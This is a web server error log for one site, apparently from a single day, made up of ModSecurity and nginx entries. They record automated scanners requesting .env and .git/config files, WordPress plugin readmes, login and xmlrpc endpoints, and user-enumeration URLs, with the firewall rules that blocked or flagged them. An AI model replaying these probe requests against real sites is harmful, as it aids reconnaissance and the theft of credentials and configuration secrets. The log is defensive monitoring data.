[Wed Nov 12 02:48:58.882844 2025] [:error] [pid 54518:tid 54525] [client 80.94.92.138:64468] [client 80.94.92.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aROFGqZo3QGSqi1oDHlRMwAAAQU"]
[Wed Nov 12 04:20:48.350931 2025] [:error] [pid 57312:tid 57323] [client 213.209.143.137:54549] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-event-solution/readme.txt"] [unique_id "aROaoI0cuHgB17JK5qWekwAAAMY"]
[Wed Nov 12 04:20:48.851666 2025] [:error] [pid 57223:tid 57279] [client 213.209.143.137:50243] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-event-solution/readme.txt"] [unique_id "aROaoBUU8_2aS__aG8YtwQAAAFY"]
[Wed Nov 12 04:21:04.793949 2025] [:error] [pid 57224:tid 57290] [client 213.209.143.137:51656] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/baiduseo/readme.txt"] [unique_id "aROasBs7oZ7imwCSdAnnvAAAAIY"]
[Wed Nov 12 04:21:05.297047 2025] [:error] [pid 57223:tid 57279] [client 213.209.143.137:50955] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/baiduseo/readme.txt"] [unique_id "aROasRUU8_2aS__aG8YuKgAAAFY"]
[Wed Nov 12 04:21:05.797810 2025] [:error] [pid 32959:tid 32983] [client 213.209.143.137:52510] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/baiduseo/readme.txt"] [unique_id "aROasXoyrq7OJfcFnDiU-AAAARQ"]
[Wed Nov 12 04:21:07.809665 2025] [:error] [pid 57222:tid 57237] [client 192.250.227.60:59186] [client 192.250.227.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.227.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aROas2GJazH5XCcA91cUjgAAAAo"]
[Wed Nov 12 04:21:11.147378 2025] [:error] [pid 57222:tid 57247] [client 213.209.143.137:53861] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/superio/style.css"] [unique_id "aROat2GJazH5XCcA91cUpQAAABQ"]
[Wed Nov 12 04:21:11.192441 2025] [:error] [pid 57222:tid 57250] [client 192.250.227.60:59186] [client 192.250.227.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.227.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aROat2GJazH5XCcA91cUpwAAABc"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 04:21:11.657410 2025] [:error] [pid 57224:tid 57292] [client 213.209.143.137:53777] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/superio/style.css"] [unique_id "aROatxs7oZ7imwCSdAnn2wAAAIg"]
[Wed Nov 12 04:21:12.156780 2025] [:error] [pid 57222:tid 57227] [client 213.209.143.137:55327] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/superio/style.css"] [unique_id "aROauGGJazH5XCcA91cUrgAAAAA"]
[Wed Nov 12 04:21:12.660655 2025] [:error] [pid 32959:tid 32973] [client 213.209.143.137:56846] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/superio/style.css"] [unique_id "aROauHoyrq7OJfcFnDiVFQAAAQo"]
[Wed Nov 12 05:50:38.108387 2025] [:error] [pid 57312:tid 57328] [client 195.20.233.67:38618] [client 195.20.233.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.20.233.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aROvro0cuHgB17JK5qXBUQAAAMs"]
[Wed Nov 12 05:50:44.124597 2025] [:error] [pid 57312:tid 57338] [client 195.20.233.67:38618] [client 195.20.233.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.20.233.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aROvtI0cuHgB17JK5qXBXgAAANU"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 05:50:55.760741 2025] [:error] [pid 57222:tid 57248] [client 103.187.147.16:50174] [client 103.187.147.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aROvv2GJazH5XCcA91cvpAAAABU"]
[Wed Nov 12 05:50:58.062026 2025] [:error] [pid 57222:tid 57237] [client 103.187.147.16:52340] [client 103.187.147.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env"] [unique_id "aROvwmGJazH5XCcA91cvpwAAAAo"]
[Wed Nov 12 05:51:02.483072 2025] [:error] [pid 32959:tid 32982] [client 103.187.147.16:52346] [client 103.187.147.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/env/.env"] [unique_id "aROvxnoyrq7OJfcFnDjIhAAAARM"]
[Wed Nov 12 05:51:16.969062 2025] [:error] [pid 57312:tid 57320] [client 103.187.147.16:40172] [client 103.187.147.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/env/.env"] [unique_id "aROv1I0cuHgB17JK5qXBmgAAAMM"]
[Wed Nov 12 06:03:22.442361 2025] [:error] [pid 57222:tid 57229] [client 54.81.189.70:40652] [client 54.81.189.70] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aROyqmGJazH5XCcA91cywAAAAAI"]
[Wed Nov 12 06:06:43.870583 2025] [:error] [pid 57312:tid 57325] [client 81.91.178.190:49632] [client 81.91.178.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.91.178.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aROzc40cuHgB17JK5qXHogAAAMg"]
[Wed Nov 12 06:06:45.707795 2025] [:error] [pid 57312:tid 57331] [client 81.91.178.190:49632] [client 81.91.178.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.91.178.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aROzdY0cuHgB17JK5qXHpwAAAM4"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 06:50:00.167478 2025] [:error] [pid 32959:tid 32975] [client 103.101.161.220:33714] [client 103.101.161.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.101.161.220, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRO9mHoyrq7OJfcFnDjwngAAAQw"]
[Wed Nov 12 07:25:13.306674 2025] [:error] [pid 57222:tid 57240] [client 64.225.54.7:54248] [client 64.225.54.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.225.54.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRPF2WGJazH5XCcA91dQBAAAAA0"]
2025/11/12 08:44:59 [error] 24805#24805: *638 connect() failed (111: Connection refused) while connecting to upstream, client: 52.205.113.104, server: gigfragments.org, request: "GET /%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%20%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%20%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx", host: "gigfragments.org"
2025/11/12 08:49:26 [error] 24799#24799: *1920 connect() failed (111: Connection refused) while connecting to upstream, client: 93.158.90.33, server: gigfragments.org, request: "GET / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "www.gigfragments.org"
2025/11/12 08:57:03 [error] 24797#24797: *4618 connect() failed (111: Connection refused) while connecting to upstream, client: 49.7.227.204, server: gigfragments.org, request: "GET / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "gigfragments.org"
2025/11/12 09:02:50 [error] 24799#24799: *8534 connect() failed (111: Connection refused) while connecting to upstream, client: 196.251.72.102, server: gigfragments.org, request: "GET /?rest_route=/wp/v2/users HTTP/1.1", upstream: "http://103.4.122.14:8181/?rest_route=/wp/v2/users", host: "gigfragments.org"
2025/11/12 09:02:50 [error] 24799#24799: *8534 connect() failed (111: Connection refused) while connecting to upstream, client: 196.251.72.102, server: gigfragments.org, request: "GET /?author=1 HTTP/1.1", upstream: "http://103.4.122.14:8181/?author=1", host: "gigfragments.org"
2025/11/12 09:02:50 [error] 24799#24799: *8534 connect() failed (111: Connection refused) while connecting to upstream, client: 196.251.72.102, server: gigfragments.org, request: "GET /wp-admin/install.php HTTP/1.1", upstream: "http://103.4.122.14:8181/wp-admin/install.php", host: "gigfragments.org"
2025/11/12 09:02:50 [error] 24796#24796: *8540 connect() failed (111: Connection refused) while connecting to upstream, client: 196.251.72.102, server: gigfragments.org, request: "GET / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "gigfragments.org"
2025/11/12 09:02:50 [error] 24799#24799: *8542 connect() failed (111: Connection refused) while connecting to upstream, client: 196.251.72.102, server: gigfragments.org, request: "GET /wordpress HTTP/1.1", upstream: "http://103.4.122.14:8181/wordpress", host: "gigfragments.org"
2025/11/12 09:02:50 [error] 24799#24799: *8544 connect() failed (111: Connection refused) while connecting to upstream, client: 196.251.72.102, server: gigfragments.org, request: "GET /wp-admin/setup-config.php HTTP/1.1", upstream: "http://103.4.122.14:8181/wp-admin/setup-config.php", host: "gigfragments.org"
2025/11/12 09:02:50 [error] 24803#24803: *8546 connect() failed (111: Connection refused) while connecting to upstream, client: 196.251.72.102, server: gigfragments.org, request: "GET /wp-admin HTTP/1.1", upstream: "http://103.4.122.14:8181/wp-admin", host: "gigfragments.org"
[Wed Nov 12 09:48:56.023489 2025] [:error] [pid 42109:tid 42130] [client 180.190.127.9:55922] [client 180.190.127.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.190.127.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRPniESVaAu1Gvn5umFadgAAARM"]
[Wed Nov 12 09:50:06.891475 2025] [:error] [pid 41829:tid 41889] [client 191.183.37.21:10229] [client 191.183.37.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.183.37.21, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRPnzkUtUz3Zf1wIC3wqxQAAAFM"]
[Wed Nov 12 10:14:11.227200 2025] [proxy_fcgi:error] [pid 60096:tid 60138] (70007)The timeout specified has expired: [client 51.81.107.180:40342] AH01075: Error dispatching request to : (polling)
[Wed Nov 12 10:14:41.778294 2025] [:error] [pid 60097:tid 60142] [client 103.101.161.220:57136] [client 103.101.161.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.101.161.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRPtkcdT5oio_TbWpi_dmwAAAMA"]
[Wed Nov 12 10:14:46.491951 2025] [:error] [pid 60097:tid 60177] [client 103.101.161.220:57136] [client 103.101.161.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.101.161.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRPtlsdT5oio_TbWpi_dpwAAANg"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 10:40:01.161465 2025] [:error] [pid 60405:tid 60421] [client 66.29.137.140:47292] [client 66.29.137.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.137.140, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRPzgXMGv_mlVi6mf5pWaAAAAA0"]
[Wed Nov 12 10:57:42.571449 2025] [:error] [pid 60095:tid 60117] [client 202.59.80.192:38572] [client 202.59.80.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.59.80.192, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRP3pnlw2elroagFF1qx4wAAAFI"]
[Wed Nov 12 10:57:47.973579 2025] [:error] [pid 60095:tid 60121] [client 202.59.80.192:38572] [client 202.59.80.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.59.80.192, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRP3q3lw2elroagFF1qx5AAAAFY"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 11:15:34.089210 2025] [:error] [pid 60405:tid 60409] [client 103.152.248.8:37732] [client 103.152.248.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.152.248.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRP71nMGv_mlVi6mf5pjwwAAAAE"]
[Wed Nov 12 11:40:07.227679 2025] [:error] [pid 60096:tid 60127] [client 110.78.211.34:47682] [client 110.78.211.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.78.211.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRQBlzmzkhCvvk8DXOwljwAAAIE"]
[Wed Nov 12 11:49:00.362934 2025] [:error] [pid 12744:tid 12769] [client 103.109.180.104:36264] [client 103.109.180.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.109.180.104, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRQDrJ1cp_ouUvkFj0WguQAAARU"]
[Wed Nov 12 12:03:58.450973 2025] [:error] [pid 60096:tid 60134] [client 65.109.108.202:53486] [client 65.109.108.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.109.108.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRQHLjmzkhCvvk8DXOwuGAAAAIg"]
[Wed Nov 12 12:36:44.467171 2025] [:error] [pid 60096:tid 60132] [client 67.205.6.221:53880] [client 67.205.6.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.6.221, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRQO3DmzkhCvvk8DXOw5JgAAAIY"]
[Wed Nov 12 12:52:10.330887 2025] [:error] [pid 60405:tid 60416] [client 109.199.102.140:34110] [client 109.199.102.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.199.102.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRQSenMGv_mlVi6mf5qLBAAAAAg"]
[Wed Nov 12 12:52:18.558393 2025] [:error] [pid 60405:tid 60430] [client 144.91.111.197:51670] [client 144.91.111.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.111.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRQSgnMGv_mlVi6mf5qLJQAAABY"]
[Wed Nov 12 12:52:23.709325 2025] [:error] [pid 60405:tid 60427] [client 144.91.111.197:51670] [client 144.91.111.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.111.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRQSh3MGv_mlVi6mf5qLMQAAABM"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 12:56:13.934202 2025] [:error] [pid 60405:tid 60430] [client 51.255.148.60:42428] [client 51.255.148.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.255.148.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRQTbXMGv_mlVi6mf5qNRAAAABY"]
[Wed Nov 12 12:56:27.019249 2025] [:error] [pid 12744:tid 12749] [client 51.255.148.60:56350] [client 51.255.148.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.255.148.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRQTe51cp_ouUvkFj0XFuQAAAQE"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 13:12:58.306498 2025] [:error] [pid 60096:tid 60155] [client 103.170.155.107:53876] [client 103.170.155.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.170.155.107, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRQXWjmzkhCvvk8DXOxFKgAAAJU"]
[Wed Nov 12 13:21:19.863286 2025] [:error] [pid 60405:tid 60409] [client 194.63.239.143:42648] [client 194.63.239.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.63.239.143, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRQZT3MGv_mlVi6mf5qX0wAAAAE"]
[Wed Nov 12 13:21:25.019769 2025] [:error] [pid 60405:tid 60429] [client 194.63.239.143:42648] [client 194.63.239.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.63.239.143, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRQZVXMGv_mlVi6mf5qX9wAAABU"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 13:38:09.373189 2025] [:error] [pid 12744:tid 12764] [client 148.66.159.158:38902] [client 148.66.159.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.66.159.158, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRQdQZ1cp_ouUvkFj0XbsAAAARA"]
[Wed Nov 12 13:38:12.182440 2025] [:error] [pid 12744:tid 12748] [client 148.66.159.158:38902] [client 148.66.159.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.66.159.158, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRQdRJ1cp_ouUvkFj0XbsgAAAQA"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 13:42:17.274252 2025] [:error] [pid 60095:tid 60111] [client 103.113.67.34:51124] [client 103.113.67.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.113.67.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRQeOXlw2elroagFF1rm5QAAAEw"]
[Wed Nov 12 13:59:47.585536 2025] [:error] [pid 60180:tid 60196] [client 13.78.113.184:41742] [client 13.78.113.184] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aRQiU1hgd7ccS8EZg1rtMAAAAU4"]
[Wed Nov 12 14:50:54.881580 2025] [:error] [pid 60097:tid 60149] [client 209.38.90.234:39164] [client 209.38.90.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.38.90.234, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRQuTsdT5oio_TbWpi87rwAAAMM"]
[Wed Nov 12 15:05:32.472097 2025] [:error] [pid 12744:tid 12767] [client 92.205.29.137:56986] [client 92.205.29.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.29.137, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRQxvJ1cp_ouUvkFj0UDAwAAARM"]
[Wed Nov 12 15:09:57.574035 2025] [:error] [pid 60097:tid 60164] [client 66.42.61.4:44330] [client 66.42.61.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.42.61.4, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRQyxcdT5oio_TbWpi9AFwAAAMs"]
